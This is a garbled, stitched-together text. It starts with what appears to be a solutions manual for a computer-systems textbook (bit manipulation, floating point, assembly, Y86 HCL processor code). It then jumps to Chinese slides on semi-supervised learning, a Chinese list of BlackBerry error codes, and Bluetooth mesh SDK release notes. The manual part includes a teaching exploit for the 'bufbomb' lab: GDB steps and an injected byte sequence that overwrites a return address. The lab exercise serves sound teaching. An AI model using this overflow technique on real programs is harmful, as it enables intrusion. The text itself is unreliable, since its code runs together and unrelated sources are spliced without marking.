case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
半监督学习
Disagreement-based methods
/zhouzh/
An example of S3VM TSVM (Transductive SVM)
Using unlabeled data to help identify the maximum margin hyperplane which goes through low-density region while keeping correct classification on labeled examples
SSL: Why unlabeled data can be helpful? (con’t) Intuitively, blue or red? Blue !
/zhouzh/
SSL: Representative approaches
X1 view
learner1
learner2
X2 view
labeled training examples [A. Blum & T. Mitchell, COLT’98]
/zhouzh/
Co-training (con’t)
A brief introduction to semi-supervised learning Advances in Disagreement-based SSL Some Probunlabeled data can be helpful?
0.15 0.71 0.63 0.76 0.71 0.26 0.22 0.70 0. 47
0. 60
0. 50 0.83 0. 20 0. 38 0. 55 0. 60 0. 32
黑莓所有软硬件错误代码中文翻译大全
转黑莓所有软硬件错误代码中文翻译大全!在BLACKBERRY黑莓手持设备上java虚拟机可能出现的错误代码和详细信息101 Previous startup failed 当jvm启动过程中,前一个启动的项目失败了,设备已经被重置。
这个错误表明jvm在启动时找到“启动进行中”这个标志位已经设置了,当前屏幕信息为:有意停止“系统继续重置”这个死循环,来纠正系统当前不正确的启动操作102 Invalid code in filesystem在文件系统中发现无效的代码。
手持设备的系统检查.cod文件的变动时,在一些.cod文件中检测到这个问题。
他肯可能是表明生成过程中发生了错误,即在cod文件中存在一个有问题的签名。
如果一些用户操作设备导致这个问题的发生,文件系统的代码被破坏,复位的周期将是连续循环的。
唯一的恢复方法是擦去设备并且恢复一个新的系统。
103 Cannot find starting address找不到启动的地址,用于启动系统的引导cod文件找不到。
这个错误表明一个用于引导系统的cod文件没有安装到设备上,或者格式不正确。
104 Uncaught: <Java-type-name>非预期:《java模块名》jvm诊断出一个非预期的java代码异常错误抛出,程序可以继续执行,或者手持设备可以用桌面管理器连是USB线安装一个程序调试器来查看这些错误信息。
事件日志里应该包含了异常错误的信息105 Example, DbRecSize举例,DbRecSize文件系统API已经为一种特定的操作返回一种错误状态码,他可能表明在jvm上存在一个无效的或者错误的文件系统106 Graphics system error图形系统错误,在设备的图形系统里一个错误发生并被检测到107 operator new() called在jvm里,操作new()回调一个c++类,该函数代码没有被正确的从VMRamObject对象来继承,新操作符需要被正确的继承。
Silicon Laboratories Bluetooth Mesh SDK 3.0.4.0 产品
Bluetooth® mesh SDK 3.0.4.0 GAGecko SDK Suite 4.1January 18, 2023Bluetooth mesh is a new topology available for Bluetooth Low Energy (LE) devices that Array enables many-to-many (m:m) communication. It's optimized for creating large-scale de-vice networks, and is ideally suited for building automation, sensor networks, and assettracking. Our software and SDK for Bluetooth development supports Bluetooth Mesh andBluetooth 5.3 functionality. Developers can add mesh networking communication to LEdevices such as connected lights, home automation, and asset tracking systems. Thesoftware also supports Bluetooth beaconing, beacon scanning, and GATT connections soBluetooth mesh can connect to smart phones, tablets, and other Bluetooth LE devices.These release notes cover SDK versions:3.0.4.0 released January 18, 20233.0.3.0 released October 19, 2022 (early access part support)3.0.2.0 released September 28, 20223.0.1.0 released August 17, 20223.0.0.0 released June 8, 2022Compatibility and Use NoticesFor more information about security updates and notices, see the Security chapter of the Gecko Platform Release notes installed with this SDK or on the Silicon Labs Release Notes page. Silicon Labs also strongly recommends that you subscribe to Security Advisories for up-to-date information. For instructions, or if you are new to the Silicon Labs Bluetooth mesh SDK, see Using This Release. Compatible Compilers:IAR Embedded Workbench for ARM (IAR-EWARM) version 9.20.4•Using wine to build with the IarBuild.exe command line utility or IAR Embedded Workbench GUI on macOS or Linux could result inincorrect files being used due to collisions in wine’s hashing algorithm for generating short file names.•Customers on macOS or Linux are advised not to build with IAR outside of Simplicity Studio. Customers who do should carefully verify that the correct files are being used.GCC (The GNU Compiler Collection) version 10.3-2021.10, provided with Simplicity Studio.•Link-time optimization feature of GCC has been disabled, resulting in a slight increase of image size.Contents Contents1New Items (2)1.1New Features (2)1.2New APIs (2)2Improvements (3)3Fixed Issues (4)4Known Issues in the Current Release (5)5Deprecated Items (6)6Removed Items (7)7Using This Release (8)7.1Installation and Use (8)7.2Security Information (8)7.3Support (9)New Items 1 New Items1.1 New FeaturesAdded in release 3.0.0.0New Development ToolsMore user-friendly filtering for Software Examples in Simplicity StudioNew Hardware SupportSupport was added for xGM240P PCB Modules and BG22/BGM220 Explorer Kits.1.2 New APIsNoneImprovements 2 ImprovementsThe supported complier versions have been updated. GCC version 10.3-2021.10 and IAR version 9.20.4 are now supported.The flash footprint of the Mesh stack implementation has been reduced by optimization of structures and removal of unnecessary de-pendencies between components. Exact reduction depends on the features used by the project.Fixed Issues 3 Fixed IssuesFixed in release 3.0.4.01064324 Fixed an issue with factory reset on embedded provisioner with Series 1 devices.1081419 Fixed transport layer segmentation timing calculations.Fixed in release 3.0.2.0465318 Fixed the issue with periodic publishing and publish retransmissions not working simultaneously.1015385 Fixed GATT proxy server advertisement restart after proxy client disconnection.1017565, 650825 Publish retransmissions issue fixed for generic models and lighting models, as well as Time Server model. 1024154 Perform a full reset of Series 2 device when Config Reset message is processed and the device is reset. 1024849 Fixed an issue with Scheduler actions not triggering after a power cycle.1024851 Fixed an issue with Scheduler repeated events being one hour late.1032627 Discard broken advertisement indications before attempting to decrypt instead of after.Fixed in release 3.0.1.0818000 Corrected an issue with Light LC model PTS tests where reported lightness values were off by a small amount.844593, 846010, 846598, 849377 Increased call stack of all applications to avoid running out of call stack when GATT proxy or GATT provisioning is in use.Fixed in release 3.0.0.0764197 Set the default friend queue size to be a power of two.818395 Fixed a potential crash in a situation where persistent storage contains more data than the project is configured to handle (e.g., after a firmware update without a factory reset).818523 Corrected the check that the key used for publication is bound to the model to include virtual address publication as well.831921 Fixed a regression with cleaning up the provisioning session after link failure.833535 Updated the list of property IDs to contain the full current list of properties.Known Issues in the Current Release 4 Known Issues in the Current ReleaseIssues in bold were added since the previous release.401550 No BGAPI event for segmented message handlingfailure Application needs to deduce failure from timeout / lack of application layer response; for vendor models an API has been provided454059 A large number of key refresh state change eventsare generated at the end of KR process, and that mayflood NCP queueIncrease NCP queue length in the project454061 Slight performance degradation compared to 1.5 inround-trip latency tests was observed624514 Issue with re-establishing connectable advertising ifall connections have been active and GATT proxy isin useAllocate one more connection than is needed841360 Poor performance of segmented messagetransmission over GATT bearer Ensure that the underlying BLE connection’s Connection interval is short; ensure that ATT MTU is large enough to fit a full Mesh PDU; tune the minimum connection event length to allow multiple LL packets to be transmitted per connection event.1013958Mesh stack and BLE API that specifically used legacy,extended, or periodic advertisements cannot be usedtogether Write the BLE application so that it uses the old BGAPI for advertisements.Deprecated Items 5 Deprecated ItemsNoneRemoved Items 6 Removed ItemsRemoved in release 3.0.0.0The deprecated BGAPI command sl_btmesh_node_erase_mesh_nvm() has been removed. Use sl_btmesh_node_reset() instead.7 Using This ReleaseThis release contains the following•Silicon Labs Bluetooth mesh stack library•Bluetooth mesh sample applicationsIf you are a first time user, see QSG176: Silicon Labs Bluetooth Mesh SDK v2.x Quick-Start Guide.7.1 Installation and UseThe Bluetooth mesh SDK is provided as part of the Gecko SDK (GSDK), the suite of Silicon Labs SDKs. To quickly get started with the GSDK, install Simplicity Studio 5, which will set up your development environment and walk you through GSDK installation. Simplicity Studio 5 includes everything needed for IoT product development with Silicon Labs devices, including a resource and project launcher, software configuration tools, full IDE with GNU toolchain, and analysis tools. Installation instructions are provided in the online Simplicity Studio 5 User’s Guide.Alternatively, Gecko SDK may be installed manually by downloading or cloning the latest from GitHub. See https:///Sili-conLabs/gecko_sdk for more information.The GSDK default install location has changed beginning with Simplicity Studio 5.3.•Windows: C:\Users\<NAME>\SimplicityStudio\SDKs\gecko_sdk•MacOS: /Users/<NAME>/SimplicityStudio/SDKs/gecko_sdkDocumentation specific to the SDK version is installed with the SDK. Additional information can often be found in the knowledge base articles (KBAs). API references and other information about this and earlier releases is available on https:///.7.2 Security InformationSecure Vault IntegrationThis version of the stack is integrated with Secure Vault Key Management. When deployed to Secure Vault High devices, mesh encryption keys are protected using the Secure Vault Key Management functionality. The table below shows the protected keys and their storage protection characteristics.Network key Exportable Exportable Derivations of the network key exist only in RAM while network keys are stored on flashApplication key Non-exportable ExportableDevice key Non-exportable Exportable In Provisioner’s case, applied to Provisionerr’s own device key as well as other devices’ keysKeys that are marked as “Non-Exportable” can be used but cannot be viewed or shared at runtime.Keys that are marked as “Exportable” can be used or shared at runtime but remain encrypted while stored in flash. For more information on Secure Vault Key Management functionality, see AN1271: Secure Key StorageSecurity AdvisoriesTo subscribe to Security Advisories, log in to the Silicon Labs customer portal, then select Account Home. Click HOME to go to the portal home page and then click the Manage Notifications tile. Make sure that ‘Software/Security Advisory Notices & Product Change Notices (PCNs)’ is checked, and that you are subscribed at minimum for your platform and protocol. Click Save to save any changes.7.3 SupportDevelopment Kit customers are eligible for training and technical support. Use the Silicon Labs Bluetooth mesh web page to obtain information about all Silicon Labs Bluetooth products and services, and to sign up for product support.Contact Silicon Laboratories support at /support.Silicon Laboratories Inc.400 West Cesar Chavez Austin, TX 78701USA IoT Portfolio /IoT SW/HW /simplicity Quality /quality Support & Community /communityDisclaimerSilicon Labs intends to provide customers with the latest, accurate, and in-depth documentation of all peripherals and modules available for system and software imple-menters using or intending to use the Silicon Labs products. Characterization data, available modules and peripherals, memory sizes and memory addresses refer to each specific device, and “Typical” parameters provided can and do vary in different applications. Application examples described herein are for illustrative purposes only. Silicon Labs reserves the right to make changes without further notice to the product information, specifications, and descriptions herein, and does not give warranties as to the accuracy or completeness of the included information. Without prior notification, Silicon Labs may update product firmware during the manufacturing process for security or reliability reasons. Such changes will not alter the specifications or the performance of the product. Silicon Labs shall have no liability for the consequences of use of the infor -mation supplied in this document. This document does not imply or expressly grant any license to design or fabricate any integrated circuits. The products are not designed or authorized to be used within any FDA Class III devices, applications for which FDA premarket approval is required or Life Support Systems without the specific written consent of Silicon Labs. A “Life Support System” is any product or system intended to support or sustain life and/or health, which, if it fails, can be reasonably expected to result in significant personal injury or death. Silicon Labs products are not designed or authorized for military applications. Silicon Labs products shall under no circumstances be used in weapons of mass destruction including (but not limited to) nuclear, biological or chemical weapons, or missiles capable of delivering such weapons. Silicon Labs disclaims all express and implied warranties and shall not be responsible or liable for any injuries or damages related to use of a Silicon Labs product in such unauthorized applications. Note: This content may contain offensive terminology that is now obsolete. Silicon Labs is replacing these terms with inclusive language wherever possible. For more information, visit /about-us/inclusive-lexicon-projectTrademark InformationSilicon Laboratories Inc.®, Silicon Laboratories ®, Silicon Labs ®, SiLabs ® and the Silicon Labs logo ®, Bluegiga ®, Bluegiga Logo ®, EFM ®, EFM32®, EFR, Ember ®, Energy Micro, Energy Micro logo and combinations thereof, “the world’s most energy friendly microcontrollers”, Redpine Signals ®, 